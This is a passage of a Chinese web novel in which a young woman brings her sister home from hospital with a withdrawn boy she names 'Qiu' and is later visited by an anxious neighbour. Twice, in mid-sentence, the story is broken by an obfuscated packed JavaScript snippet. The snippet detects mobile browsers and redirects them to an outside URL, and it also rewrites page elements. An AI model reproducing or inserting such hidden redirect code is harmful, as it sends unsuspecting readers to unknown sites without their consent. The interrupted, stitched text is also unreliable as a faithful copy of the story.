阮云琛没有接话,反手轻轻拍了拍她的背,示意她松手。可淼淼却没那么快放开,只是趴在阮云琛的肩膀上,笑得喘了口气,眼神却忽然顿住了。 她的目光穿过阮云琛的肩头,落在门口的某个角落,眨了一下,眼底的亮光微微一顿,随即慢慢放大。 那是一种介于惊讶和新奇之间的情绪,就像是一只无意间发现藏在草丛里的小兔子,先是怔住,然后小心翼翼地瞪大了眼睛。 “咦?”她轻轻出声,声音里带着些许疑惑,又有点兴奋,“他也来了!” 40. 纯粹 淼淼看起来非常兴奋,她仔细看了男孩一眼,然后像是想起了什么,转头看向阮云琛,神色中几分不确定。 她似乎想问什么,但皱着小眉头想了很久,也似乎没有想好自己应该从哪里问起。 她的视线在男孩和阮云琛之间来回游移,像是在拼凑一幅模糊的图画。她歪着头,小眉毛皱得更紧了一些,嘴角微微抿起,像是在咀嚼一个还没消化完的念头。 “他……”她开了口,语气里带着点迟疑,眼睛却没有从男孩身上移开,“他怎么在这里?” 说完这句,她仿佛自己也觉得不对,又眨了眨眼,转头去看阮云琛,语气小心翼翼地补充:“姐姐,是你带他来的吗?” 她的声音压得很低,像是在试探什么,又像是怕自己猜错。 阮云琛的手刚把最后一件零碎塞进布袋里,听到这话,她直起身拍了拍手上的灰,语调淡淡地回应了一句:“嗯。” 这个简单的回答让淼淼愣了一下,嘴巴微微张开,像是没想到会是这样。她定定地看了阮云琛好几秒,随后又忍不住看向男孩,眼神里透出某种隐隐的惊讶。 “你叫他来的?”她忍不住问出口,语气里藏不住的好奇与兴奋,像是刚发现了一件极为稀奇的事情。 这短短的几个字,问得掷地有声,像是一颗小石子投入平静的湖面,轻轻地荡开了一圈涟漪。 阮云琛手里的动作微微一顿,指尖松开了半拉的拉链,视线顺着淼淼的话语抬起,落在门口的男孩身上。 那个男孩依旧站在那儿,肩膀微微缩着,像是在风里忍着冷的枝条,单薄得不太真实。他低着头,鞋尖轻轻点着地板的边缘,手攥着衣袖,手指捏得发白。 “嗯。”阮云琛轻轻应了一声,像是很不经意,语调平静得像冬日冷风吹过一片枯叶。 这句话像一根钩子,勾起了淼淼的兴奋。 她的眼睛瞬间亮了起来,小小的身体像是一下子积满了气,她坐直了些,手指轻轻拽了拽阮云琛的袖子,声音里带着掩饰不住的开心:“我早就说嘛——我早就说嘛!让他一起来找我玩呀!我一个人在医院好无聊的!” “你还问我,说我的习题册能不能让他看看!”淼淼又补了一句,眉毛微微扬起,神色认真又得意,就像是无意间发现了一件姐姐偷偷藏着的宝贝,“可是你都不带他来找我玩!” 阮云琛的表情僵了一下,动了动嘴角,没有说话。 她本来只是随口提了一句,那时她随手翻了翻淼淼的习题册,想要找点事缓解情绪,却没有想到会被淼淼记得这样牢。 她收回了目光,垂下眼,手指重新扣住拉链,将布袋缓缓拉合,动作细致又刻意。她本能地回避了淼淼的目光,那迟疑一闪而过,却被淼淼捕捉了个正着。 淼淼眨了眨眼,小小的脸上浮现出一丝狡黠,随后又飞快地消散,取而代之的是纯粹的喜悦。 她一下子跳下床,光着一只脚踩在冰凉的地板上,抱着毛衣的大袖子跑到了阮云琛的身侧,仰头认真地看了她一眼,眼里闪烁着小小的光。 “姐姐,是你——你叫他一起来接我,是不是?”淼淼拖长了音调,又重新问了一遍。 她的声音里带着一丝笃定和一点试探,像是把问题问得很小心,但又带着无法掩盖的高兴。 阮云琛没答,只是拎着布袋站起身,目光淡淡地扫了男孩一眼。男孩依旧没有动,他似乎在努力让自己变得隐形,整个人蜷缩在一片浅浅的阴影里。但那双手指,依旧紧紧地攥着袖口,连骨节都微微泛白。 淼淼却已经顾不上阮云琛答没答了,她一蹦一跳地转头看向男孩,眉眼弯弯的,笑意像早春的风,轻轻拂过了整个病房:“真的哦,是姐姐叫你来的?” 男孩微微抬起眼,轻轻地“嗯”了一声,声音很小,但却是认真的。 “我就说嘛!” 淼淼高兴得蹦了起来,脚下的拖鞋啪嗒一声,差点飞出去。 阮云琛条件反射地伸手扶了一下她的肩膀,眉头轻微地皱了一下:“慢点。” 几乎在同一时刻,站在门边的男孩也微微向前倾了半步,似乎想说什么,但又硬生生止住了,只是抿了抿嘴,目光落在淼淼的脚上。 淼淼抬头看了一眼姐姐,又看了一眼男孩,歪了歪脑袋,笑嘻嘻地说:“没事啦!我现在可好了!” 她的声音软乎乎的,带着点小孩子的倔强,像是在炫耀自己已经很健康了。她还故意拍了拍自己的胸口,小脸上的表情得意洋洋的,丝毫没注意到阮云琛和男孩的担忧。 男孩站在原地,手指不自觉地捏了一下袖口,低声说:“你还是......小心点。” 他的语气轻得像是在自言自语,但却落在了淼淼的耳朵里。 淼淼眨了眨眼,目光重新落回他身上,小脸一下子笑开了。她踮起脚来在男孩的头上比划了一下:“咦?你好像比上次高了!” ——上次? 男孩的动作顿了一下,眼神里闪过一丝恍然,又很快低垂下去,像是怕被人看出情绪。他的指尖微微收紧,捏住了袖口的边缘。 淼淼歪着头想了一会儿,忽然像是抓住了什么:“对!就是那个时候,我和姐姐路过桥下,你在那儿——” 她的话说到一半,忽然停住了,像是突然意识到了什么,小脸上的神情变得有点认真。 她挠了挠头,随后咳嗽了一声,嘴角又挂上了一点掩饰性的笑意:“我叫姐姐带你来家玩,可是姐姐都——” 她的声音顿了一下,像是在琢磨措辞,然后突然用一种格外夸张的语气继续说道:“我是说,姐姐特别忙!特别特别忙!所以都没有空叫你来家里玩!” 她一边说,一边偷偷看了阮云琛一眼,像是怕她揭穿自己,却又不甘心就这么放过她的“失职”。 男孩的眼神动了一下,像是听懂了什么,却没有表现出不自在。他只是静静站着,唇角似乎轻微地弯了一下,像是一片树叶被风吹动,却又很快归于平静。 “可是你真的长高了哎!”淼淼又嚷嚷了一遍。 她说着,猛地转过头,脸上的表情晶亮晶亮的,眼睛里像是藏着一束光:“姐姐!你看,他真的长高了!” 她语速飞快,滔滔不绝地发表自己的小小论断,兴奋得小手在空中挥了挥。 阮云琛提着布袋站在一旁,目光扫过他们两个。淼淼的兴奋洋溢在脸上,她的眼神又在男孩的脸上停了停。 男孩站在那里,脚尖微微向里扣着,肩膀缩得有些紧,像是还不太习惯被人这样注视。 她知道他听见了,但他只是低着头,没搭话。她也没有打算多问,只是静静地观察着两人的互动。 淼淼却一口气不停:“我听医生姐姐说,吃得多长得快!姐姐,他是不是吃了好多饭呀?” 她的声音里满是好奇,带着一点天真的得意,好像她的结论无比正确。 阮云琛侧头看了她一眼,唇角微微动了一下,像是要笑,又像没有。 “说得跟你吃得少一样。”她语气平淡地回了一句,顿了顿,又补了句:“他多大了,你多大了?” 淼淼愣了一下,小脸皱巴巴地反驳:“我哪有——” 阮云琛轻轻按了按她的肩膀,示意她安分些,声音里终于带了一点责备的轻缓:“说人家长高就行了,还拿年龄比,比来比去,也不像有礼貌。” “那有什么关系嘛!” 淼淼一点都没被戳破的自觉,回过头去,又像是才想起来什么,踮起脚盯着男孩的脸看了一会儿,忽然压低声音问:“你认得我吗?我就是那个习题册乱七八糟的……姐姐老说我瞎涂乱画,你肯定知道我吧?” 男孩怔了一下,肩膀微微蜷了起来,像是个受了惊的小动物,但又不知为什么,他最终只是点了点头,点得很轻,却被淼淼一眼捕捉到了。 “哈哈,我就知道你认得!”淼淼一下子笑了,笑声像是撒在阳光里的玻璃珠,又亮又透。 她继续滔滔不绝地说下去,神情里全是小孩子独有的得意和骄傲:“那天我故意画的,你还不知道吧?姐姐骂我了,还罚我写题,但我想啊,反正都会被骂,那不如画得更乱一点!” 男孩听着她兴致勃勃地回忆,低垂的睫毛轻轻颤了颤,捏着袖口的手指似乎松了一些。 他抬眼看了阮云琛一眼,目光里藏着一点小心翼翼的试探,像是在确认她会不会说什么,又像是等着她说些什么。 阮云琛的脸色黑了一个度:“再乱画,下次打的就是屁股了。” 这句话一落,淼淼立刻像是被戳到了某根神经。她吐了吐舌头,缩了缩脖子,却一点都没有收敛的意思。 她拉住男孩的袖子摇了两下,仰着小脸朝他笑:“没事,姐姐才不会真打你。” 男孩没说话,只是低着头,肩膀稍稍放松了一点。 淼淼似乎完全没察觉他的沉默,突然像是想到了什么,眼睛亮了亮,歪着脑袋问:“对了,你还记得我的那本二年级数学的习题册吗?就是那个画了好多小人、乱得不行的!——姐姐说我写得特别乱,让我罚写十道题的那个!” 她的语气里带着些理直气壮的小骄傲,嘴角都扬得高高的,像是在说一件特别了不起的事。 男孩轻轻点了点头。 “哈哈哈,我就知道你记得!”淼淼开心地拍了一下男孩的胳膊,力气小得像在挠痒痒,“既然你都看过我的习题册,那你以后就是我罩着的人了!” 这句话一出,她突然板起了脸,认真地仰头看着他,像是在宣布什么不得了的决定。她仿佛没注意到男孩的耳尖在慢慢泛红,手指也悄悄捏紧了袖口。 “听见没?我是姐姐的小妹妹。”淼淼顿了顿,表情越发严肃,努力地表现得像一个故作正经的大人,“所以你得听我使唤才行!” 男孩微微愣了一下,手臂被拉得晃动了一下,他下意识地抬头看了阮云琛一眼。 阮云琛没有急着回答,只是把布袋重新提起来,站在门口,回头看了两人一眼:“还不走吗?” 淼淼的脚步顿了一下,随即一溜小跑到男孩身边,拉住了他的袖子。她的动作带着小孩子特有的热情和笃定,头微微仰着,小脸上是满满的欢快:“你也一起来!我们回家啦!” 男孩愣住了。 他的袖口被拉住,手臂僵硬了一下,男孩犹豫着抬头看了阮云琛一眼。 阮云琛垂下眼,像是没看到他的求助一般,只伸手拍了拍他的肩头:“别乱跑。” 天气像是憋着一场雪,街上寒风割脸,吹得人连眉头都冻得不想舒展。 回家的一路,淼淼都在叽叽喳喳,像个飞快旋转的小陀螺,脚下踩得风生水起,小鞋啪嗒啪嗒地敲在湿冷的路面上,水洼里飞溅起几点灰白的光。 “医生姐姐说,回家以后要多喝汤!”她突然顿住,像是想到了什么,又提高了嗓门补充了一句,“特别是鸡汤!” 说完,她偏过头,带着点求证的意味看了看阮云琛:“姐,你是不是也觉得鸡汤最补啊?” 阮云琛垂着眼,提着布袋走在稍稍靠前的位置,没回头,声音从寒风里传过来:“嗯,喝了补脑。” 淼淼一噎,嘴巴动了两下,似乎想反驳点什么,但很快又忍住了,只得哼哼一声,转头继续自顾自地发表她的小见解:“那我明天要喝两碗!而且我今天在医院碰到了一个小朋友,他跟我说他们家有鸡,他也是喝鸡汤长大的!” “嗯。”阮云琛的应答漫不经心,像是完全没听进她说的内容,但脚步依旧不急不缓,偶尔朝后扫一眼,确认那道薄薄的身影还在。 男孩在两步远的地方,走得小心翼翼。 风把他的头发吹乱了,衬得脸颊一片冻红。 他的脚步像是有意放轻,每踩一下地面都像要掂量出分寸,仿佛怕踩碎了这条陌生的回家路。 男孩的目光时不时落在淼淼身上,那副雀跃模样似乎和他生活的画面格格不入,他忍不住看了几眼,眼里透出一种生涩的好奇,又迅速移开。 “姐!”淼淼突然跑到阮云琛前面,小身子像是想要挡住她的路,脚一滑,险些摔个踉跄。 男孩下意识地伸出手,想扶,阮云琛的动作却更快一步。 她伸手一把提溜起了淼淼的衣领,跟提溜鸡崽子似的,提去了马路靠里面的那一侧,皱着眉道:“别乱跑,脚滑。” 话是对淼淼说的,目光却落到男孩身上。 男孩被盯得一愣,下意识地就走去了人行道里头——阮云琛这才移开了目光。 她没有多说什么,只淼淼往前轻轻一推:“赶紧走。” 回到家,门一打开,寒气迎面涌来。 屋里没有暖气,光线从旧窗的缝隙里漏进来,斜斜落在桌子角上,拖出一条冷色调的影子。地板有些冰,鞋底踩上去像踏进了雪地,透骨地冷。 淼淼一脚踩进屋里,整个人顿了一下,缩了缩脖子:“哎呀,好冷啊!” 但她很快又自己接了下去,声音轻快得像是在安慰所有人:“不过没事,人多了就暖和了嘛!” 男孩站在玄关处,犹豫了一下,目光在屋里扫了一圈,脚下却没动。 “鞋子放整齐。”阮云琛脱下外套挂好,转头朝他看了一眼,语气不重,但有种不容置喙的意味。 男孩点了点头,弯腰把鞋脱下来,摆在墙边的鞋架上,动作小心翼翼,像是担心弄出一丁点声响。 等他直起身时,淼淼已经跑到饭桌边,捧着碗深深吸了一口汤香,眯着眼一副满足的表情。 “姐!是鸡汤!”她宣布得郑重其事,下一秒就开始吹勺子里的热气,眼睛瞟向桌上的每一道菜,“还有香菇,和胡萝卜!你是不是特地为我做的?” 阮云琛不慌不忙,把最后一碗饭端出来,摆在她面前:“少废话,先吃饭。” 男孩站在旁边,手指微微动了一下,像是在犹豫自己该不该坐下。 “你坐那里。”阮云琛的目光落到他面前的空座上,语气一如既往地平静。 他动作僵了一下,挪着步子坐了下来,筷子放在手边,目光垂在桌面上,一动不动。饭桌上的热气升腾,模糊了他的神色,他却像是置身其中,却又游离在外。 淼淼对这种沉默没有丝毫察觉。她低头喝了一口汤,立刻抬起头,眉眼弯弯:“姐,你做的鸡汤是世界上最好喝的!” 阮云琛夹了块鸡肉放进她碗里,轻描淡写地应了一声:“慢点喝。” 桌子上又安静下来。 饭桌是旧的,带着一点被用久了的油腻感,边角的漆皮有些脱落。三双筷子在碗里发出轻微的碰撞声,像是细细的风刮过窗子,没有半点喧哗。 淼淼一口一口喝着汤,喝得很认真,甚至带着点享受的表情。她显然一点都不觉得家里多出来一个人有什么奇怪,仿佛从头到尾,饭桌上就该有三个人。 男孩则坐在一边,碗里的米饭动得很慢,低着头像是在专注于某个不存在的点。 阮云琛盯着自己的碗,余光扫过两人,眉心不自觉地微微一皱。 她记得自己小时候,家里的饭桌上也总是缺人,不是缺她,就是缺父母。 这张旧桌子,就像是从来没为家人团聚准备过,总是凑不齐该有的椅子。后来她很少再坐下来吃饭——能吃就不错了,哪还挑什么形式? 她不知道什么时候开始习惯一个人吃饭,也从没觉得有什么不对。可如今,淼淼和男孩坐在对面,这饭桌却有了种久违的满当感。 这感觉让人不舒服。 不是因为温暖,而是因为陌生。 阮云琛不习惯这么热热闹闹的环境,也不习惯自己会因为这种琐碎的小事而分心。 淼淼轻轻放下汤碗,转头看了一眼男孩,又看向阮云琛,眼睛一转:“姐,他叫什么名字啊?” 这一句话顿时让饭桌的热气停滞了一瞬。 男孩的手顿了一下,筷子上的菜叶掉回碗里,发出一声细微的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943537|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啪嗒”声。 他微微抬头,眼神像是不由自主地朝阮云琛的方向飘过去,带着些许不安,又像是在某种记忆的深处摸索着什么。 阮云琛没有抬头。 她的目光落在自己掌心里摊开的筷子上,像是对这突如其来的注视毫无察觉。她的神色一如既往地平静,带着一种无形的压迫感,却又仿佛在刻意地不打破这片冷静的空气。 男孩的视线停顿了一秒,随即又像是被烫到了一样,仓促地收回。他低下头,筷子握得更紧了些,像是需要用某种触觉的力量把自己拽回现实。 “秋。”他低低地重复了一遍,声音几乎要散进空气里。字眼里带着点疏离的空洞感,像是在确认,又像是在试探。 他从未真正拥有过自己的名字,“二狗”只是人们随口取的称呼,和名字无关,也和意义无关。 但“秋”不一样。 它是阮云琛随口提起的,看似漫不经心,却像是一颗轻飘飘的石子,被丢进了某个沉寂的湖底,激起了他平静表面下那些暗藏的涟漪。 他的手指微微颤了颤,耳尖悄悄泛起了红色。他低头盯着碗沿,咬着唇,像是终于下定了决心,又像是没有别的选择。 “秋。”他再次开口,这次声音稍微大了一些,带着些许未被掩饰的笨拙。 “什么秋?”淼淼追问得自然,语气里满是小孩子的好奇。 男孩低下头,咬了咬唇,没接话。 “吃饭。”阮云琛淡淡地开口,目光没离开自己的碗,声音不轻不重地把话题斩断。 男孩的肩膀缓缓放松了下来,拿起筷子,开始安静地夹青菜。淼淼抿了抿嘴巴,撇撇嘴不再说什么,低头扒起了饭。 饭桌上的安静渐渐被淼淼的咀嚼声打破,她的筷子不停地在汤碗和饭碗之间穿梭,小孩子吃饭的动作有点急促,带着点不知疲倦的热情。 她偶尔抬头看一眼男孩,眼神里藏着些许探究,又忍不住偷偷笑:“秋......秋哥!你吃啊,这鸡肉超好吃的!我们家的鸡汤是——” 她顿了顿,特地压低了声音,“是姐姐最拿手的!” 淼淼吐出“秋哥”这两个字时,声音像是在试探,又带着些不自觉的得意。 她说得极慢,语调轻飘飘地拖着尾音,像在小心翼翼地确认什么,眼睛却始终亮晶晶的,仿佛捡到了什么有趣的新玩具。 男孩的动作微不可察地顿了一下,低头看了看碗里的汤,似乎对这个新鲜的称呼有些意外。他的手指捏了捏筷子,耳尖悄悄红了一点,却没有抬头。 “秋哥。”淼淼又叫了一遍,这次声音比刚才更清脆了一点,像是一只试探着起飞的小鸟,翅膀微微一扑腾。 她仿佛没注意到男孩的不自在,脸上满是笃定的笑意,语调轻快得像是在哼一首儿歌:“秋哥!你吃啊,这鸡肉超好吃的!” 她自然而然地加重了这个称呼的尾音,仿佛喊上几次,就能把陌生感抹平一样。 男孩抿着嘴,低头喝了一口汤,没有回应,却也没有露出抗拒的表情。他的肩膀稍稍松了一点,像是在试着适应这个名字。 淼淼眯着眼睛笑,声音放轻了些,神秘兮兮地靠近他:“你快吃吧!这个汤是姐姐最拿手的,你试试——还有哦,这可是我们的秘密,你可别告诉别人!” 她说着,还特意压低了声音,好像真的在宣告一件不得了的大事。 男孩抬起眼瞥了她一眼,像是有些无措,又有些被逗乐。他咬着筷子,最终点了点头,动作依旧慢吞吞的,像是在权衡什么。 这一切,阮云琛都看在眼里,却没有开口。 她夹了一块鸡肉放进自己的碗里,轻描淡写地开口:“吃吧。” 语气一如既往的平静,像是在对两人说,又像只是随口一提。 淼淼却像是得到了鼓励,越发熟练地叫起了“秋哥”这个名字,一声比一声轻快,就像是试图用热闹的气氛,融化眼前这个男孩的沉默。 男孩握着筷子的手动了一下,抬头时,眼神已经柔和了许多。 他拿起筷子夹了一片青菜,慢慢地送进嘴里。那动作小心而克制,像是怕在这个陌生的地方显得太过放肆。 淼淼看着他吃了一口菜,像是终于得到了某种默许,满意地点点头。 “秋哥,你为什么叫秋啊?”她突然放下筷子,撑着下巴认真地问,眼神亮晶晶的,仿佛这个问题真的无比重要,“春、夏、秋、冬,四个季节,为什么是‘秋’呢?是因为秋天对你来说很重要吗?” 男孩愣了一下,抬头看向淼淼,又下意识地转向阮云琛,目光里多了一点迟疑,像是在寻找某种默许。 这个名字的来历,他并没有真正的答案——他只记得那天阮云琛的眼神,淡淡的,像秋天的天色,无边无际,却冷得像把刀。 阮云琛终于抬起了头,目光在男孩脸上停了片刻,然后转向淼淼。她的神情没有一丝变化,语气依旧淡得像风:“你管那么多干什么?吃饭。” 淼淼眨了眨眼,嘴巴一嘟,乖乖地低头喝了一口汤,但眼神还是时不时地瞟向男孩,显然没打算就这么放过他。 男孩的喉咙轻轻滚动了一下,嘴唇动了动,似乎想要解释什么,可又什么都没说。他只是重新低下头,握着筷子的手却微微松开了些。 碗里的汤还冒着热气,他垂着眼,盯着自己的倒影出了一会儿神。 那个名字,仿佛带着某种分量,让他的肩膀都感到一阵沉重,却又让他心底有种难以言喻的暖意,像是被赋予了某种未曾想象过的归属感。 阮云琛没有再说话,她的目光落在他身上,停顿了片刻,随即转开,重新看向窗外。风吹动窗帘的一角,带来一阵淡淡的凉意。 “吃饭吧,吃饭时少说话,小心又肚子痛。”她淡淡地开口,声音轻而不留痕迹,像是在提醒,又像是结束了这个话题。 饭吃到一半,淼淼忽然有些安静了。 她撑着小脸,筷子在碗边轻轻敲了敲,眉头皱得紧紧的。刚才还叽叽喳喳的小麻雀,这会儿却像是被冷风吹过的树叶,没了动静。 阮云琛第一时间察觉到,放下筷子,伸手探了探她的额头:“怎么了?” “没事,就是……”淼淼嘟囔着,脸色有些泛白,“肚子有点涨。” 她声音低低的,带着一点委屈的意味。 刚出院的小孩子,一点点不舒服都会被放大成全世界的大事。阮云琛却没有慌,只是拿起她的碗放到一边,语气淡定:“吃多了。你歇着,别动。” 淼淼点点头,趴在桌子上,小手还攥着阮云琛的衣角,眼睛半眯着。男孩看了一眼她,又悄悄地瞟向阮云琛,像是想问什么,但最终还是没有开口。 等收拾完碗筷,屋里已经静得只剩下偶尔的风声。阮云琛从柜子里翻出热水袋,递给淼淼:“抱着,暖暖。” 屋子里的灯光昏黄,映在墙上,照出几道不规则的影子。窗外的风呼啸了一阵又一阵,拍在玻璃上,发出轻轻的咔嗒声,像是不甘心被隔绝在外的冬夜。 阮云琛洗完碗,把碗筷搁进柜子里,转身看了一眼床边的小人。 淼淼抱着热水袋,窝在被子里,眼睛半睁半闭,像一只被暖热的小猫,疲倦得连尾巴都懒得动一下。 “困了就睡。”她的声音不轻不重,带着点习惯性的克制和不容置喙的平静。 淼淼却没有闭眼,反而把热水袋往怀里抱紧了些,像是攥住了什么护身符。 屋子里很冷,暖水袋根本没办法完全驱散寒意,窗缝里钻进来的风打在皮肤上,细细地刮,像是提醒着这个冬天的存在。 “姐……”她的声音低低的,带着点鼻音,又像是怕被风听见似的,小心翼翼地飘出来,“我也想有个哥哥。” 阮云琛应了一声,没有抬头,只是把桌上散落的几张旧报纸叠好,动作缓慢而安静。 淼淼揉了揉眼睛,声音带着一点睡意的鼻音:“秋哥今晚别走,好不好?” 41. 走投无路 淼淼的这一句带着点突兀的执拗,撞进夜间的凉气中。 阮云琛的手微微顿了一下,抬眼看向她。淼淼已经半闭着眼睛,长长的睫毛颤了颤,嘴角却微微翘着,像是在做梦时偷偷藏起的笑。 她没有立刻回答,只是用被子轻轻盖住淼淼的肩膀,把她的手从衣角上掰下来。小手冰凉,松松地攥了一下,最终还是松开了。 “他不能走。”淼淼说得很认真,像是做了一件重要的决定,“秋哥是我的小弟,他得听我使唤!” 阮云琛看着她,没有说话。厨房的灯光在她脸上投下一片阴影,她的表情被朦胧的光线模糊成了一种平静的克制。 “什么乱七八糟的,赶紧去睡觉。”她只留下一句,转身继续洗碗。 淼淼没有再坚持,只是靠在椅背上,目光偷偷瞄了一眼站在不远处的男孩。 他站得笔直,像是一棵不敢挪动的树,手臂垂在身侧,掌心轻轻握成拳。淼淼冲他笑了笑,眼睛弯成了小月牙。 “秋哥,你听见了吧?”她压低声音,又带着点小得意,“以后你得听我的。” 男孩的目光闪了一下,像是听懂了,又像是没懂。 窗外的风声像是被打磨过的刀刃,割裂夜晚的静谧,偶尔有行人匆匆经过,脚步声被寒风吹散,轻飘飘地落在地面上,转瞬即逝。 阮云琛没回头,只是转动水龙头的手稍稍放慢了一点,水流变得细而绵长,像是和夜晚的沉默融成了一体。 门外忽地响起了一声轻轻的敲门声。 阮云琛洗碗的动作一顿,海绵在指间滑了一下,发出微弱的摩擦声,险些掉进水池里。 她没急着放下手,只是侧了侧头,眼神落向昏黄灯光下那扇老旧的木门。 那声敲门轻得像一片羽毛飘落,贴着风的尾音打在门板上,仿佛只是随意碰了一下,却还是带来了一点压抑的冷意。 沙发上的男孩醒了,揉了揉眼睛,身子缩在毯子里,脸上还带着几分未散的睡意。他听见响动,抬头朝阮云琛看了一眼,眉间压着点隐约的警觉,像是条件反射一般。 “别出声。”阮云琛的声音低下来,像风掠过水面,不大,却稳得让人不敢违抗。 男孩顿了一下,默默缩回沙发角,双手捏紧了盖在腿上的毯子,眼睛却一眨不眨地盯着门的方向。 门外的敲门声又响了一下,比之前重了一点,却依旧带着克制,仿佛敲门的人犹豫着要不要坚持下去。 木门轻轻震动了一下,就像外头的冷风在无声地推搡,含着点迟疑,试探地找缝隙钻进来。 阮云琛微微皱眉,悄声关掉了水龙头。厨房的水声骤然消失,剩下的,是屋里不大不小的沉默。 她抽下挂在沙发靠背上的外套,搭在肩头,脚步缓慢而轻,却像落在心尖上,每一步都稳得让人不由自主屏住呼吸。 男孩蜷着膝盖,目光追随着她的背影。 他没出声,动作很小地往沙发里缩了缩,整个人半隐在灯光的阴影里,像是在努力降低自己的存在感。 门口的空气有点凉,手放在门把上的时候,金属的冷硬传进指尖。阮云琛停了一秒,耳朵轻轻贴在门边,听着外头的动静。 ——没什么特别的声音。 也......不可能是宋祈。 宋祈不会这么敲门。 那人总是来得无声无息,像风一样潜进这栋旧楼的缝隙里。即便真要敲门,他也绝不会这么试探,像一只不敢贸然闯入的困兽。 他的方式更直接,甚至更具侵略性:或许是毫无预兆的踹门,或许是直接推开,还未进屋就先送上一句不容拒绝的命令。 他也从不敲响她家的大门。 这个地方,对宋祈而言,不算“家”,更不算“地盘”,他来这里只是带着某种居高临下的姿态,像一个发号施令的主人,而不是来寻求回应的客人。 阮云琛微微偏了偏头,肩上的外套下滑了半寸,被她下意识地抓紧了些。 门把的冷硬感透过指尖传来,让她一瞬间感到某种真实的沉重。她手上轻轻一转,低头瞥了一眼地面,那道斑驳的门缝下并没有熟悉的皮靴影子。 ——不是他。 阮云琛打开了门。 冷风扑了进来,带着楼道里特有的干燥气味和脚步声残留的灰尘感。门外站着一个人,背靠着走廊昏黄的灯光,影子投在地面上,显得有些单薄。 程一冉。 她穿着一件旧外套,拉链拉得很高,缩着脖子,双手插在兜里,眼睛下意识地避开阮云琛的目光,像是很怕直视她。 “有事?”阮云琛倚在门框上,声音不轻不重,像是夜里不经意落下的一片薄冰,寒意无声无息地透出来。 程一冉的嘴唇动了动,像是要开口,却又像被什么堵住了一样,声音卡在嗓子里没有出来。 她抬起头瞥了阮云琛一眼,视线一触即收,又迅速垂了下去。那目光短促而仓皇,像风里晃了一下的烛光,飘飘忽忽,连个影子都留不住。 走廊里的灯光不算明亮,昏黄的色调像被冻住的冰水,落在程一冉的侧脸上,连带着她微微发抖的睫毛一起映得模糊。 她的脚尖轻轻动了动,鞋底蹭在地板上,发出一点若有似无的声响,像是在故意拖延,又像是无声的犹豫。 阮云琛站在门口,靠着门框,肩膀微微一斜,恰好挡住了门里的光。 她的目光淡淡地落在程一冉身上,没有上下打量,也没有刻意回避,就这么静静地看着。没有言语,也没有动作,却像一道无形的墙,把门里门外隔开得分毫不差。 风从走廊尽头的破窗子灌进来,带着一股生硬的凉意,把走廊里积攒了一天的灰尘卷起来,直往脸上扑。 程一冉缩了缩脖子,抬手掩了掩鼻子,却忍不住往屋里瞟了一眼,带着点探究和不安,动作轻得像怕惊到什么似的。 阮云琛肩膀稍微一偏,身子微微前倾,像是无意间换了个姿势,却正好把门挡得严严实实。 程一冉怔了一下,迅速地挪开,脸上闪过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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几秒的僵持里,她的目光在门框、地板和阮云琛的鞋子上绕了一圈,最终还是落回到自己脚尖上。 程一冉垂着头,眼神落在阮云琛身后的黑暗里,又很快收了回来,像是想从什么看不见的角落里找到答案。 她的嘴唇动了一下,却没有发出声音,半晌后,她才小声地开口:“我……是不是打扰你了?” 阮云琛倚着门框,没有答话。她的目光依旧平静,像是在观察,又像是根本没有兴趣多问。 程一冉攥着衣袖的手指收紧了一些,指关节微微泛白。走廊尽头的风从破窗灌进来,吹得她身上的衣摆轻轻晃动。 她咬了咬嘴唇,像是在权衡什么,最终还是抬起头,目光带着一点勉强的倔强:“其实也没什么事,就是……” 她停顿了一下,像是被什么卡住了喉咙,余下的话迟迟没有出口。 阮云琛依旧安静地看着她,眉头微微蹙了一下,像是在等待,却又不显得急躁。 “就是……”程一冉终于吐出了一口气,声音低得像是怕惊动什么,“你……是不是认识一些,呃,能帮忙的人?” 42. 无言 话出口的一瞬,程一冉整个人像是被抽空了一样,目光闪烁不定,脚尖又一次在地板上轻轻摩挲了一下,像是在掩饰自己的局促。 阮云琛的目光没有变化,只是淡淡地扫过程一冉的脸,语气听不出情绪:“帮什么忙?” 程一冉的手指在袖口上绞了一下,像是想挤出什么合适的理由。她沉默了一会儿,最终低下头,小声说道:“就是……家里的事,我妈……” 她没有继续说下去,像是被什么堵住了,只剩下走廊里的冷风夹杂着一丝油腻的旧楼气息,微微晃动着昏暗的灯光。 程一冉的声音被冷风卷得轻飘飘的,听不真切,到最后几乎连她自己都听不见了。话音戛然而止的瞬间,走廊里安静得只剩下风声,呼啸着从破窗里灌进来,像是无形的刀刃在切割。 她低着头,手无意识地绞着袖口,指节因为用力而微微泛白。脚下的地板很凉,甚至透出一点湿气,凉意沿着她的脊背往上爬。头顶的灯光昏黄而摇晃,勾勒出一圈若隐若现的阴影,像是随时会散开的烟尘。 阮云琛没催她,也没追问。 她依旧倚着门框,半张脸隐在走廊的阴影里,看不清什么情绪。 程一冉抬头看了阮云琛一眼,那眼神怔怔的,里面藏着太多情绪,支离破碎得让人看不清楚。 她张了张嘴,却什么都没说出来,喉咙像是被人狠狠攥住了一样,堵得发紧。 她想解释,想说点什么——哪怕只是随便找个理由,哪怕只是为了掩饰这份荒唐的窘迫,可她最终什么都没说。 ——她要怎么开口? 程一冉垂着头,目光游移地扫过自己脚边的阴影,手指不安地拧紧了衣角,像是想要抓住什么,却发现抓不住任何实质的东西。 她知道这句话有多荒唐,也知道自己站在这里有多荒唐。 她妈妈万秀喜欢嚼舌根,街坊邻里总是乐此不疲地用各种故事填满那些无聊的下午茶时间。 ——“那个阮家的丫头,整天早出晚归,身上带着伤,肯定不是什么正经人”。 这种话传得多了,连她也开始不由自主地去相信。不是吗? 